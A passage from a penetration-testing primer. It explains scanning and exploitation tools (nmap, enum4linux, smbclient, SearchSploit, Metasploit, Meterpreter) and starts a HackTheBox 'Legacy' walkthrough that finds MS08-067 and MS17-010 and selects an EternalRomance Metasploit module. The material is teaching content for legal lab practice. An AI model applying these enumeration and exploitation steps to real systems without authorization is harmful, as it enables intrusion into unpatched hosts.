--localnet or -l: Scan the Local Subnet

Example: sudo arp-scan -l Scan all addresses on the local subnet based on the network interface configuration. Using this flag, arp-scan will determine the local system’s IP address from the network interface, then will scan the remainder of the subnet. For example, if the local IP is 10.1.1.100, then arp-scan will scan the entire 10.1.1.0/24 subnet.

--file or -f: Read Target IPs from a File

Example: sudo arp-scan -f target-ips.txt This flag tells arp-scan to scan the IP addresses contained in the specified file. The file must be a basic text file, with one IP address per line, like so:

10.1.1.100 10.1.1.101 10.1.1.102

20 Chapter 2. Tools and Techniques No Skids Allowed! A Pentester's Primer

--interface or -I: Specify Network Interface

Example: sudo arp-scan -I eth1 -l By default, arp-scan uses the first network interface it finds that isn’t the loopback interface. (On Linux systems, this is often eth0.) To scan on a different interface, use the -I flag, followed by the name of the interface (such as eth1).

2.2.1.2 Enum4linux: SMB & Samba Enumeration

OS Linux Website https://github.com/portcullislabs/enum4linux

Reference Walk-Throughs HackTheBox Lame VulnHub Kioptrix Level 1

What is enum4linux?

The enum4linux tool allows you to enumerate information from Windows and Samba systems. Written in Perl, it is basically a wrapper around a number of other utilities, providing a unified, simplified script capable of collecting a significant amount of information.

How does it work?

This utility relies heavily on null sessions, which are anonymous connections to inter-process communication services on the target system. Using null sessions, as well as a few other techniques, the enum4linux utility can extract informa- tion including (but not limited to) hardware information, OS information, usernames, password policies, open ports, and shared printers and filesystems.

Using enum4linux

Note: To run most effectively, enum4linux requires root privileges, so it’s best to run this tool via sudo or as the root user.

To use enum4linux, simply type sudo enum4linux in the command line, followed by the necessary command-line arguments. At a minimum, enum4linux expects to be given the IP address of the system you intend to scan. By default, if no additional command-line arguments are supplied, enum4linux assumes the -a flag, which automati- cally runs a robust set of enumeration techniques.

2.2. Enumeration 21 No Skids Allowed! A Pentester's Primer

2.2.1.3 Nmap: the Network Mapper

OS All major operating systems. Website https://nmap.org/

Reference Walk-Throughs HackTheBox Legacy Enumeration and Vulnerability Assessment VulnHub Kioptrix Level 1

What is nmap?

The nmap utility is one of the oldest and most-used tools in the hacker’s arsenal. As the name implies, it allows you to map networks, identifying not only what machines exist on a network, but also which ports are open on those machines. It also includes a great deal of additional functionality, such as identifying the software and operating systems running on target systems. It also has the ability to run scripts to identify vulnerabilities or reveal additional information about targets. In fact, entire books have been written about nmap, exploring its various capabilities and functionality.

How does it work?

By sending carefully-crafted packets to a system, nmap can listen to the system’s replies in order to determine ad- ditional information about that system. For example, using the TCP three-way handshake, nmap can check to see whether a TCP port is open on a target system.

Using nmap

To use nmap, simply type nmap in the command-line, followed by the necessary arguments. Examples: nmap scanme.nmap.org nmap -v -sn 192.168.0.0/16 10.0.0.0/8 nmap -Pn 10.10.10.4

At a minimum, nmap expects one or more IP addresses to be provided. Multiple addresses can be expressed via wildcards (i.e. 10.10.10.*), hyphenated ranges (i.e. 10.10.10.100-150), and even via CIDR notation (i.e. 10.10.10.0/24). By default, when run as an unprivileged (non-root) user, nmap uses a TCP Connect scan (-sT). When running as root, nmap uses a TCP SYN scan (-sS) by default. For more information on these scan types, see below. To learn the various command-line arguments available in nmap, simply run nmap with no arguments. On unix-like systems, you can type man nmap to read the documentation of the tool. The following are the most commonly-used command-line arguments and their descriptions:

22 Chapter 2. Tools and Techniques No Skids Allowed! A Pentester's Primer

-sn: Ping Scan (Disable Port Scan)

Example: nmap -sn 10.10.10.0/24 This scan uses ICMP packets to test whether the specified target(s) are reachable on the network. Some systems may not respond to ICMP pings, despite being online. This is often true in the case of Windows systems.

-Pn: Skip Ping Scan

Example: nmap -Pn 10.10.10.0/24 By default, nmap attempts to ping the specified target(s) before conducting a port scan, so as to avoid wasting time trying to scan nonexistent targets. However, if a host is online but not responding to ICMP pings, using the -Pn command-line argument will instruct nmap to skip the ping and conduct the port-scan with the assumption that the targets are online.

-p[PORTS]: Specify Ports to Scan

Example: nmap -p139 10.10.10.4 The -p command-line modifier specifies the port(s) for nmap to scan. Ports can be specified in a number of ways: • A single port (e.g. -p23 to scan port 23) • Multiple specific ports (e.g. -p23,25 to scan ports 23 and 25) • A range of ports (e.g. -p22-25 to scan ports 22, 23, 24 and 25) • A combination of the above (e.g. -p22,25-30 to scan port 22 and ports 25 through 30) If you wish to scan all ports on a host, you can use the -p- command-line modifier (e.g. nmap -p- 10.10.10.4).

-sT: TCP Connect Scan

Example: nmap -sT 10.10.10.4 This command-line argument tells nmap to conduct a TCP Connect scan, which attempts to establish a full TCP connection for each port by completing the TCP three-way handshake. This is the default scan method used by nmap when run as an unprivileged (non-root) user.

-sS: TCP SYN Scan

Example: nmap -sS 10.10.10.4 This command-line argument tells nmap to conduct a TCP SYN scan, which attempts to identify open ports without completing the full TCP three-way handshake. This method requires root privileges, and is the default scan method when nmap is run as a root-level user.

2.2. Enumeration 23 No Skids Allowed! A Pentester's Primer

-sV: Software Version Detection

Example: nmap -sV 10.10.10.4 This command-line argument tells nmap to attempt to identify the specific software running on each port, as well as the software’s version. While some software might return vague information (or no information at all), most software provides this information readily. This information can be used to identify vulnerable services on the target.

-O: Operating System Detection

Example: nmap -O 10.10.10.4 This command-line argument tells nmap to attempt to identify the target’s Operating System information, including which version is installed. To do this, nmap analyses the open ports, as well as whatever other information it can gather from the target. While precise OS detection can be challenging, nmap is usually able to narrow down the options significantly.

--script [SCRIPT(S)]: Nmap Scripting Engine (NSE)

Example: nmap -p139,445 --script smb-vuln-ms08-067 10.10.10.4 This command-line argument tells nmap to execute a script against the specified target. On Kali Linux, scripts are located in the /usr/share/nmap/scripts/ directory. By specifying ports with -p, you can tell nmap to run the script against those specific ports. For a good example of NSE usage, check out the Legacy walkthrough. For more information about scripts, check out nmap’s official documentation.

2.2.1.4 smbclient: FTP-Like Client for SMB & Samba

OS Linux / MacOS / BSD / Solaris Website https://www.samba.org/

Reference Walk-Throughs VulnHub Lame

What is smbclient?

The smbclient utility, shipped with Samba, provides an FTP-like client to access SMB or Samba shares on servers. It can be used to explore a system’s shared files, as well as to upload and download files to a share.

How does it work?

By communicating with remote SMB-compatible systems, smbclient can interact with shared directories and files in the same manner as FTP. It also features additional functionality, such as the ability to list all the shares available on a host. It can use null sessions to communicate, but can also utilize any credentials you may have, including Kerberos credentials.

24 Chapter 2. Tools and Techniques No Skids Allowed! A Pentester's Primer

Using smbclient

To use smbclient, just type smbclient in a terminal, along with the appropriate command-line arguments. Examples: smbclient --help smbclient -U '' -N -L //10.10.10.3/ smbclient -U '' -N //10.10.10.3/tmp/

At a minimum, smbclient expects to be provided with the service IP, and possibly even a share path.

-U: Specify the Username

Example: smbclient -U '' //10.10.10.3/tmp/ The -U flag allows you to specify a username for authentication with the SMB share. If the username is not specified, smbclient will use the same username as the currently-active user. To establish a null session, use a blank username, as seen in the example above.

-N: Use Null Password

Example: smbclient -U '' -N //10.10.10.3/tmp/ When authenticating, smbclient will ask you for a password. By using the -N flag, you tell smbclient to use a Null (empty) password. This is commonly used for null session access.

-L: List Available Shares

Example: smbclient -U '' -L //10.10.10.3/ By supplying the -L command-line argument, you tell smbclient to list the shares available on the specified IP. (When using this flag, you need only provide the IP.) Example: kali@kali:~/HTB/Lame$ smbclient -U '' -N -L //10.10.10.3/

Sharename Type Comment ------print$ Disk Printer Drivers tmp Disk oh noes! opt Disk IPC$ IPC IPC Service (lame server (Samba 3.0.20-Debian)) ADMIN$ IPC IPC Service (lame server (Samba 3.0.20-Debian)) Reconnecting with SMB1 for workgroup listing.

Server Comment ------

Workgroup Master ------WORKGROUP LAME

In this example, we can see that there are two custom shares: tmp and opt.

2.2. Enumeration 25 No Skids Allowed! A Pentester's Primer

Post-Login Commands

After authenticating with smbclient and accessing a share, you’ll be provided with a command prompt which looks like this: kali@kali:~/HTB/Lame$ smbclient -U '' -N //10.10.10.3/tmp/ Try "help" to get a list of possible commands. smb: \>

This is an interactive command prompt, similar to that of the basic FTP command-line interface. The following are some commonly-used commands: • get: Retrieve a file from the system. • put: Upload a file to the system. • rm: Delete a file on the system. • ls: List the contents of the current directory. • help: Learn more commands, and how they work. • exit: Disconnect and quit smbclient.

2.3 Vulnerability Assessment

Vulnerability Assessment is the process of discovering vulnerabilities in software that might be exploited to gain additional access, privileges, or information. The tools and techniques discussed in this chapter will help with the discovery of software vulnerabilities.

2.3.1 Tools

2.3.1.1 SearchSploit: a Searchable Database of Exploits

OS All major operating systems. Website https://www.exploit-db.com/searchsploit

Reference Walk-Throughs HackTheBox Legacy Lame VulnHub Kioptrix Level 1 Vulnerability Assessment and Exploitation

26 Chapter 2. Tools and Techniques No Skids Allowed! A Pentester's Primer

What is SearchSploit?

The SearchSploit utility helps you find exploits for enumerated software and services. It’s part of the Metasploit Framework.

How does it work?

A local copy of the Exploit Database (EDB) exists in Kali Linux. (This database is also available for other systems.) The SearchSploit utility searches through this database in order to find exploits for the various software and services discovered during the enumeration phase of your penetration test. The utility also enables you to examine an exploit, and create a copy that you can alter for use on a specific host.

Using SearchSploit

To use SearchSploit, simply type searchsploit in the command-line, followed by the necessary arguments. Ex- amples: searchsploit ms08-067 searchsploit --id smb2 searchsploit --color vsftpd

At a minimum, SearchSploit expects one or more search terms corresponding to the names and versions of software or services. To learn the various command-line arguments available in SearchSploit, simply run searchsploit with no arguments. By default, SearchSploit shows the relative path to each of the exploits returned in your search query. Exploits can be found in the /usr/share/exploitdb/ directory. The following are the most commonly-used command-line arguments and their descriptions:

-x [EDB-ID]: Examine Exploit

Example: searchsploit -x 41891 Using the less system utility, the -x command-line argument enables you to view the source code of the specified exploit ID, enabling you to explore the exploit without having to create a local copy. This is especially handy for inspecting exploit code before you choose to use it.

-m [EDB-ID]: Mirror Exploit

Example: searchsploit -m 41891 This creates a copy of the exploit referred to by the provided EDB-ID, saving it to the current working directory. This enables you to customize the exploit to suit your purposes, without messing up the original exploit code.

2.3. Vulnerability Assessment 27 No Skids Allowed! A Pentester's Primer

-w: Show EDB Links

Example: searchsploit -w samba Instead of showing the relative path to the exploit on-disk, -w provides a URL to the exploit on the Exploit Database website.

--id: Show EDB IDs

Example: searchsploit --id ms17-010 Instead of showing the relative path to the exploit on-disk, --id shows the EDB ID of the exploit. This ID number can be used in place of search terms when examining or copying discovered exploits.

--color: Remove Color From Results

Example: searchsploit --color vsftpd By default, found search terms are highlighted in red in the returned search results. Using the --color command-line argument suppresses the use of color, thus providing results that are easier to parse programmatically.

2.4 Exploitation

Exploitation is the process of attacking weaknesses in software in order to gain access to the system or its information. The tools and techniques discussed in this chapter will help with the exploitation of software and services.

2.4.1 Tools

2.4.1.1 The Metasploit Framework: Hacking on Rails

OS All major operating systems. Website https://www.metasploit.com/

Reference Walk-Throughs HackTheBox Legacy VulnHub Kioptrix Level 1

What is the Metasploit Framework?

Originally created by H.D. Moore in 2003, the Metasploit Framework (MSF) is one of the most widely-used and controversial tools in the modern hacker’s arsenal. It simplifies the process of developing and executing exploit code against remote target machines. Many have labeled MSF a tool for “script kiddies,” because it contains a plethora of easy-to-use, weaponized exploits that require very little effort to deploy. Despite this claim, Metasploit has become a mainstay in the Information Security community, and is included in nearly every mainstream Linux distribution aimed at penetration testing.

28 Chapter 2. Tools and Techniques No Skids Allowed! A Pentester's Primer

In addition to exploits, MSF comes shipped with a significant number of auxiliary modules, designed for a whole host of additional features, including port scanning, enumeration, and more.

Warning: Despite its popularity, the original criticism still stands: MSF makes it remarkably simple for unskilled individuals to break into remote systems. As such, it can easily become a crutch for those who use it exclusively. If you only use Metasploit, you only learn Metasploit, and when you come face-to-face with a vulnerability for which no Metasploit module exists, you’ll be stumped. For this reason, the authors urge you to find non-Metasploit meth- ods of execution whenever possible. These “manual” methods (as opposed to Metasploit’s “automated” method) will help you grow in knowledge and skill, and they’ll make you a stronger hacker overall.

How does it work?

The Metasploit Framework includes a comprehensive suite of Ruby scripts that simplify the development of exploits and payloads targeting remote systems. Metasploit is commonly shipped “batteries included,” meaning that it comes with a large array of exploits and payloads built-in. It also includes a number of other useful features, including tools for enumeration, vulnerability scanning, documentation, and more. The free version, included in most pentesting- focused Linux distributions, uses a command-line interface for selecting and executing exploits and payloads.

Using Metasploit

The Metasploit Framework is such a diverse and powerful toolkit that a thorough enumeration of its functionality is beyond the scope of this document. For those who wish to dive deeper into this tool, there are many books and guides available, including the Official Documentation by Rapid7, and the Metasploit Unleashed course by Offensive Security, both of which are provided free-of-charge. For the purposes of this document, we’ll include only the most commonly-used functions within the MSF. msfconsole: Launch Metasploit Interactively

Example: msfconsole This command launches an interactive Metasploit session with a command-line interface. This is the most common method of using the Framework, and provides access to the full functionality of the utility. This console features tab-completion and the use of up- and down-arrows to scroll through the command history. help [COMMAND]: Get Help

Example: help search This command requests help on a given subject, providing useful information for maximizing your effectiveness with MSF. Using help without a specified command will provide the MSF default help guide, including all core, module, job, resource script, database backend, credentials backend, and developer commands.

2.4. Exploitation 29 No Skids Allowed! A Pentester's Primer

search [OPTIONS] [KEYWORDS]: Search for Modules

Example: search type:exploit ms17-010 This command returns a list of modules for the specified keywords, modified by the specified options. Options are optional, but keywords are required. Keywords can include basic search terms, such as the name of a CVE, as well as advanced terms, such as the specific type of module sought. For example, the search term listed above (search type:exploit ms17-010) will return all exploit modules related to the MS17-010 vulnerability.

use [MODULE/NUMBER]: Use a Specified Module

Example: use exploit/windows/smb/ms17_010_psexec This command loads the specified module (either by path or by number). Typically, modules are loaded by path (e.g. use exploit/windows/smb/ms17_010_psexec). However, if a search command was previously run, the results will be returned in an enumerated list, allowing you to enter the number of the desired module instead of typing the full path (e.g. use 3).

show [PARAMETER]: Show the Specified Information

Example: show options This command provides contextual information dependent on the specified parameter. For example, show info will provide information about the currently-selected module, whereas show options will display the current module’s configuration. For a full list of parameters, type help show.

set [KEY] [VALUE]: Set the Value of the Specified Key

Example: set RHOSTS 10.10.10.4 This command sets the value of the specified key. This can be used both for modules and for associated payloads.

2.4.1.2 Meterpreter: MSF’s Premier Payload

Reference Walk-Throughs HackTheBox Legacy

What is Meterpreter?

Meterpreter is a powerful, extensible payload designed for use in the Metasploit Framework. It is designed “to provide limited forensic evidence and impact on the victim machine.”1 Meterpreter communications are encrypted by default, and it is capable of residing entirely in-memory, writing nothing to disk. It is the default MSF payload when no other payload is specified.

1 https://www.offensive-security.com/metasploit-unleashed/about-meterpreter/

30 Chapter 2. Tools and Techniques No Skids Allowed! A Pentester's Primer

How does it work?

To learn more about the function and features of Meterpreter, you should read the Meterpreter section of the Metasploit Unleashed guide, published by Offensive Security.

Using Meterpreter

The Meterpreter payload includes a vast array of features, most of which are beyond the scope of this document. The following are the most commonly-used commands used with Meterpreter, as seen in the various walk-throughs in this guide.

getuid: Determine User ID

Example: getuid This command determines which account is running the active Meterpreter session. The return value depends largely on the target OS.

shell: Get a Command Shell on the Target System

Example: shell This command returns a command prompt on the target system. The shell returned depends on the target OS. In the case of Windows targets, this is usually the cmd.exe shell. On Unix-like systems, it could be sh, bash, zsh, or others.

2.5 Post-Exploitation

Post-Exploitation involves all of the steps that take place once you’ve gained access to a target system. In most cases, you’ll begin with a low-privilege account, and the majority of your post-exploitation efforts will involve seeking methods for Privilege Escalation (privesc), the process of gaining access to administrative accounts on the system. Another important consideration is Pivoting, wherein you’ll attempt to use your privileged access on one system to gain access to another. This is where the second major enumeration phase takes place. Where the first phase focused on enumerating the software, services and data visible from outside the target system, the second focuses on discovering the software, services and data visible from within the target system, in order to determine what potential weaknesses may be exploited for Privilege Escalation, Pivoting, and other goals. The tools and techniques discussed in this chapter will help in achieving these goals.

2.5.1 Windows Post-Exploitation

Reference Walk-Throughs HackTheBox Legacy

Once you’ve gained access to a Windows target, you’ll want to begin exploring the environment to discover as much information as you can. The information you discover can help you to elevate privileges, compromise running services, and potentially pivot into other systems on the network.

2.5. Post-Exploitation 31 No Skids Allowed! A Pentester's Primer

The following sections outline various techniques and commands useful on Windows systems for post-exploitation activities.

2.5.1.1 Basic Commands

Note: When using the path of a directory or filename in the Windows command-line, you should always surround the path with “quotation marks” if the path contains any spaces. (e.g. "C:\Program Files()\")

• cd [DIRECTORY]: Change to the specified directory. • dir [DIRECTORY]: List the contents of the specified directory. If no direcory is specified, list the contents of the current directory. • type [FILE PATH]: Print the contents of the specified file to the screen. (Similar to the cat command on Unix-like systems.)

32 Chapter 2. Tools and Techniques CHAPTER THREE

WALK-THROUGHS

“Capture the Flag” (CTF) games have become a popular way for hackers to legally practice their hacking skills and gain recognition throughout the community. One way that hackers show off their skills is by posting “walk- throughs” or “write-ups” which detail the steps they took to completely compromise the system and capture the flags. Typically, these provide only the minimum steps necessary to reproduce the attacks, proof that the hacker completed the challenge. They rarely convey the thoughts of the hacker, their reasoning or approach to the problem. This is a shortcoming we have attempted to overcome in the guides in this document; we believe that “walk-throughs” and “write-ups” can be an excellent instructional tool, helping to teach not only the tools and tactics, but also the mind-set of the modern hacker. The following sections feature complete walk-through guides to various vulnerable systems featured on sites like HackTheBox and VulnHub. They are divided by platform, arranged in a loose and subjective order of ascending difficulty, and cross-referenced with Chapter 2 to provide context and depth to the tools and techniques therein.

3.1 HackTheBox

HackTheBox is probably the most widely-known platform for Capture The Flag challenges, featuring a fully-managed network of vulnerable systems. They offer both free and paid services. The free service provides access to all currently- active challenges, while the paid service provides additional access to all retired challenges, as well as lower-latency connections to the VPN.

Note: As per the Terms of Service, walk-throughs are not allowed to be published for currently-active machines. Therefore, the following walk-throughs focus on retired machines. To gain access to these retired machines, you’ll need a VIP account on HackTheBox. VIP accounts are not free, but they are not prohibitively expensive, and offer many advantages over the free account. Creating an account on HackTheBox is a little more complicated than on most websites, as they require you to hack their sign-up process. We urge you to attempt to solve this puzzle on your own, but if you struggle with this step, there are numerous guides on the internet for how to hack the sign-up process. Remember: Google is your greatest asset!

33 No Skids Allowed! A Pentester's Primer

3.1.1 Legacy

Difficulty Easy Reference The Metasploit Framework: Hacking on Rails Meterpreter: MSF’s Premier Payload Nmap: the Network Mapper SearchSploit: a Searchable Database of Exploits Windows Post-Exploitation

3.1.1.1 Enumeration

Reference nmap

Pinging the Target

After connecting to the HackTheBox VPN and initializing the Legacy VM, we can begin enumerating the target. We’ll start by using nmap to ping the system, to see if it’s online: kali@kali:~$ nmap -sn 10.10.10.4 Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-14 13:27 EDT Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn Nmap done: 1 IP address (0 hosts up) scanned in 3.07 seconds

Some systems will not respond to pings despite being online. This is often true for Windows systems, such as our current target. This is why nmap reported that the host seems to be offline. Fortunately for us, we know that Legacy is online and listening, because the HackTheBox dashboard tells us so.

Fig. 1: Screenshot of HackTheBox, showing that Legacy is online.

Scanning for Ports

Next, we’ll identify open ports on the target, as well as what software might be listening on each of those ports. Since we know the target isn’t responding to ICMP pings, we’ll use the -Pn command-line argument to tell nmap to scan without pinging first: kali@kali:~$ nmap -Pn 10.10.10.4 Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-14 12:52 EDT Nmap scan report for 10.10.10.4 Host is up (0.056s latency). Not shown: 997 filtered ports PORT STATE SERVICE 139/tcp open netbios-ssn 445/tcp open microsoft-ds 3389/tcp closed ms-wbt-server

Nmap done: 1 IP address (1 host up) scanned in 7.83 seconds

34 Chapter 3. Walk-Throughs No Skids Allowed! A Pentester's Primer

Excellent! We’ve identified two open ports: 139 and 445. According to nmap, these ports might be running netbios-ssn and microsoft-ds, respectively.

Identifying Services

Let’s see if we can learn more about these ports by using the -sV command-line argument, which enables version detection, and the -O command-line argument, which enables OS detection. We’ll also use the -p command-line argument, to narrow the scan to ports 139 and 445. OS detection requires root privileges, so we’ll use sudo to run the tool as root:

kali@kali:~$ sudo nmap -Pn -sV -O -p139,445 10.10.10.4 [sudo] password for kali: Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-14 14:22 EDT Nmap scan report for 10.10.10.4 Host is up (0.053s latency).

PORT STATE SERVICE VERSION 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds Warning: OSScan results may be unreliable because we could not find at least 1 open

˓→and 1 closed port Device type: general purpose Running (JUST GUESSING): Microsoft Windows 2000|XP|2003 (90%) [...] Aggressive OS guesses: Microsoft Windows 2000 SP4 or Windows XP SP2 or SP3 (90%),

˓→Microsoft Windows XP SP2 (89%), [...] No exact OS matches for host (test conditions non-ideal). Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/

˓→o:microsoft:windows_xp

OS and Service detection performed. Please report any incorrect results at https://

˓→nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 10.96 seconds

As you can see, this nmap scan provided significantly more detail about the target system. While it didn’t tell us much more about the specific software running on the specified ports, it was able to determine that the target was running Micrsoft Windows XP, most likely with Service Pack 2 (SP2) or Service Pack 3 (SP3) installed.

3.1.1.2 Vulnerability Assessment

Reference nmap SearchSploit: a Searchable Database of Exploits

Finding Vulnerabilities with Google

We’ve now identified two open ports on the system, as well as the target’s OS. That’s not a lot of attack surface, but perhaps we can learn something more about the target that will give us a clue as to where to go from here. By searching online, we discover that ports 139 and 445 are part of the Server Message Block (SMB) protocol, used “for sharing files, printers, serial ports, and communications abstractions such as named pipes and mail slots between computers.”1 The SMB service has seen more than its fair share of vulnerabilities and exploits over the years. Knowing that our target is running Windows XP and SMB, let’s see what Google can tell us about this service.

1 https://www.samba.org/cifs/docs/what-is-smb.html

3.1. HackTheBox 35 No Skids Allowed! A Pentester's Primer

Typing windows xp smb into the search bar, Google provides us with some troubling auto-completion suggestions.

Fig. 2: Screenshot of Google auto-complete results, with ‘exploit’ in the top three.

Let’s go ahead and search for windows xp smb exploit and see what comes up.

Fig. 3: The top three Google results, containing the strings ms08-067 and ms17-010.

The top three results mention MS08-067 and MS17-010. These strange codes refer to Microsoft’s security patches, which are named by the year and number. MS08-067 was the 67th patch released in 2008, and MS17-010 was the 10th patch released in 2017. Let’s take a closer look at these two patches. Performing a Google search for each, you’ll find a Microsoft page describing the vulnerabilities in more detail. Looking at the security bulletin for MS08-0672, we see that it involves a Remote Code Execution (RCE) vulnerability, and is rated “Critical.” Likewise, the bulletin for MS17-0103 also involves a Critical RCE vulnerability.

Note: The definition of a Remote Code Execution vulnerability can be found in the Glossary.

2 https://docs.microsoft.com/en-us/security-updates/securitybulletins/2008/ms08-067 3 https://docs.microsoft.com/en-us/security-updates/securitybulletins/2017/ms17-010

36 Chapter 3. Walk-Throughs No Skids Allowed! A Pentester's Primer

Finding Exploits with SearchSploit

Now that we’ve identified two good-looking vulnerabilities, we should see if we can find any exploits to go with them. This is where SearchSploit shines. Of all the components in the Metasploit Framework, SearchSploit is probably used the most, as it provides a massive repository of exploits for a wide variety of software, with built-in search capability. The data all comes from Exploit Database, and is generally considered trustworthy. (It is important to remember, however, that all of their exploits are submitted by the public, and should be reviewed before use.) Let’s use SearchSploit to search for exploits for the two discovered vulnerabilities. I’ll use the --id command-line argument to show the Exploit Database ID instead of a URL, for the sake of simplicity. First, let’s look at the results for MS08-067: kali@kali:~$ searchsploit --id ms08-067 ------

˓→------Exploit Title

˓→ | EDB-ID ------

˓→------Microsoft Windows - 'NetAPI32.dll' Code Execution (Python) (MS08-067)

˓→ | 40279 Microsoft Windows Server - Code Execution (MS08-067)

˓→ | 7104 Microsoft Windows Server - Code Execution (PoC) (MS08-067)

˓→ | 6824 Microsoft Windows Server - Service Relative Path Stack Corruption (MS08-067)

˓→(Metasploit) | 16362 Microsoft Windows Server - Universal Code Execution (MS08-067)

˓→ | 6841 Microsoft Windows Server 2000/2003 - Code Execution (MS08-067)

˓→ | 7132 ------

˓→------Shellcodes: No Result

Wow, there’s a lot of options to choose from! Perhaps we should narrow it down a bit. Let’s see if there are any exploits designed to work with the Metasploit Framework (which we’ll cover in the next section). To do this, simply add the word “Metasploit” to the search query: kali@kali:~$ searchsploit --id ms08-067 metasploit ------

˓→------Exploit Title

˓→ | EDB-ID ------

˓→------Microsoft Windows Server - Service Relative Path Stack Corruption (MS08-067)

˓→(Metasploit) | 16362 ------

˓→------Shellcodes: No Result

Wonderful! Normally, it’s a good thing to have multiple results, but we’re trying to keep things simple for this walk- through, so narrowing it down to a single Metasploit module is quite handy. Now let’s see what’s available for MS17-010, focusing on results that include Metasploit modules:

3.1. HackTheBox 37 No Skids Allowed! A Pentester's Primer

kali@kali:~$ searchsploit --id ms17-010 metasploit ------

˓→------Exploit Title

˓→ | EDB-ID ------

˓→------Microsoft Windows - 'EternalRomance'/'EternalSynergy'/'EternalChampion' SMB Remote

˓→Code Ex | 43970 Microsoft Windows - SMB Remote Code Execution Scanner (MS17-010) (Metasploit)

˓→ | 41891 ------

˓→------Shellcodes: No Result

Nice. Looking closer, you’ll notice that the second result is a “scanner.” A scanner, in this context, is able to check target systems and verify whether they have a particular vulnerability. While handy, we won’t be needing this, as we’ll be confirming the vulnerability with nmap in the next section. (Spoiler alert!) For this reason, we’ll want to focus on the first result, with the EDB ID 43970.

Confirming Vulnerabilities with Nmap Scripting Engine

Now that we’ve found a couple promising exploits, let’s see if the target is vulnerable. One of nmap’s coolest features is its scripting engine, which enables it to perform more complex tasks such as deeper enumeration of a target’s ports, vulnerability scanning, and even active exploitation. On Kali Linux, the nmap scripts are stored in /usr/share/ nmap/scripts/. Let’s see if any scripts exist for either of the vulnerabilities we discovered: kali@kali:~$ cd /usr/share/nmap/scripts/ kali@kali:/usr/share/nmap/scripts$ ls -l *ms17-010**ms08-067* -rw-r--r-- 1 root root 5688 Nov 26 04:21 smb-vuln-ms08-067.nse -rw-r--r-- 1 root root 7344 Nov 26 04:21 smb-vuln-ms17-010.nse

Nice! There’s a script for each of the vulnerabilities we discovered. Now let’s test them against the target. kali@kali:~$ nmap -Pn -p139,445 --script smb-vuln-ms08-067,smb-vuln-ms17-010 10.10.10.

˓→4 Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-14 17:33 EDT Nmap scan report for 10.10.10.4 Host is up (0.054s latency).

PORT STATE SERVICE 139/tcp open netbios-ssn 445/tcp open microsoft-ds

Host script results: | smb-vuln-ms08-067: | VULNERABLE: | Microsoft Windows system vulnerable to remote code execution (MS08-067) | State: LIKELY VULNERABLE | IDs: CVE:CVE-2008-4250 | The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server

˓→2003 SP1 and SP2, | Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers

˓→to execute arbitrary | code via a crafted RPC request that triggers the overflow during path

˓→canonicalization. (continues on next page)

38 Chapter 3. Walk-Throughs No Skids Allowed! A Pentester's Primer

(continued from previous page) | | Disclosure date: 2008-10-23 | References: | https://technet.microsoft.com/en-us/library/security/ms08-067.aspx |_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250 | smb-vuln-ms17-010: | VULNERABLE: | Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010) | State: VULNERABLE | IDs: CVE:CVE-2017-0143 | Risk factor: HIGH | A critical remote code execution vulnerability exists in Microsoft SMBv1 | servers (ms17-010). | | Disclosure date: 2017-03-14 | References: | https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-

˓→wannacrypt-attacks/ | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143 |_ https://technet.microsoft.com/en-us/library/security/ms17-010.aspx

Nmap done: 1 IP address (1 host up) scanned in 3.63 seconds

From these results, it appears as if both vulnerabilities might exist in the target! Our next step is to attempt to exploit these vulnerabilities.

3.1.1.3 Exploitation

Reference Metasploit Meterpreter

Confirming that a vulnerability exists and actually exploiting that vulnerability are two entirely different things. For- tunately, there are some useful tools available to help make our lives easier. Many such tools comprise the Metasploit Framework. The MSF is a powerful penetration testing toolkit that is widely-known throughout the global hacker community. In fact, some consider Metasploit to be too powerful, becoming a crutch for unskilled hackers. For this reason, we’ll avoid using Metasploit for the majority of this document. However, since this is our first target, we’ll go ahead and use Metasploit, to keep things simple. We now have two possible exploits for two potential vulnerabilities. But which should we try first? Let’s look closer at the two SearchSploit results on which we chose to focus: • Microsoft Windows Server - Service Relative Path Stack Corruption (16362) • Microsoft Windows - 'EternalRomance'/'EternalSynergy'/'EternalChampion' (43970) At the beginning of each exploit’s description, the target Operating System is listed. The first exploit (16362) is targeting Microsoft Windows Server, while the second (43970) is targeting Microsoft Windows. We know that our target is running Windows XP, which is not the same as Windows Server. Therefore, we should prioritize the second exploit, as it’s more likely to apply to our target system. (Remember, this exploit was targeting the vulnerability outlined in MS17-010.) Let’s go ahead and open the Metasploit Framework. To do this, you can select Metasploit Framework from the Kali Linux menu. The first time you boot MSF, it will create a new database for storing your pentest information. Once you see the msf5 command-prompt, the Framework is loaded and ready to go.

3.1. HackTheBox 39 No Skids Allowed! A Pentester's Primer

Fig. 4: Metasploit creating the initial database.

40 Chapter 3. Walk-Throughs No Skids Allowed! A Pentester's Primer

To begin, we’ll need to find the specific exploit returned in our SearchSploit results. We can search by the Microsoft security bulletin ID using the search ms17-010 command, but this returns a multitude of results.

Fig. 5: MSF search results for MS17-010.

We can narrow down these results by searching only for exploits using the search type:exploit ms17-010 command, yet still this returns a number of results.

Fig. 6: MSF search results for exploits matching MS17-010.

We could potentially search by the specific EDB ID using search edb:43970, but this isn’t always reliable. (In fact, in this instance, the exploit won’t be found.) Instead, we can recall the title of the result found via SearchSploit: Microsoft Windows - 'EternalRomance'/'EternalSynergy'/'EternalChampion'. Looking through the descriptions of the listed exploits, it appears as if the last result is the one we want. To use that exploit, we’ll type use 3, telling Metasploit to use the exploit beside the number 3 in the list. You’ll notice that the command prompt changes to show which exploit is selected: msf5 > use 3 msf5 exploit(windows/smb/ms17_010_psexec) >

Now that we’ve selected our exploit module, we can type show info to see more information about the module, including the author, date of publication, related CVEs or Microsoft security bulletins, and more. To see what options we can configure in the module, type show options.

Fig. 7: Exploit module options.
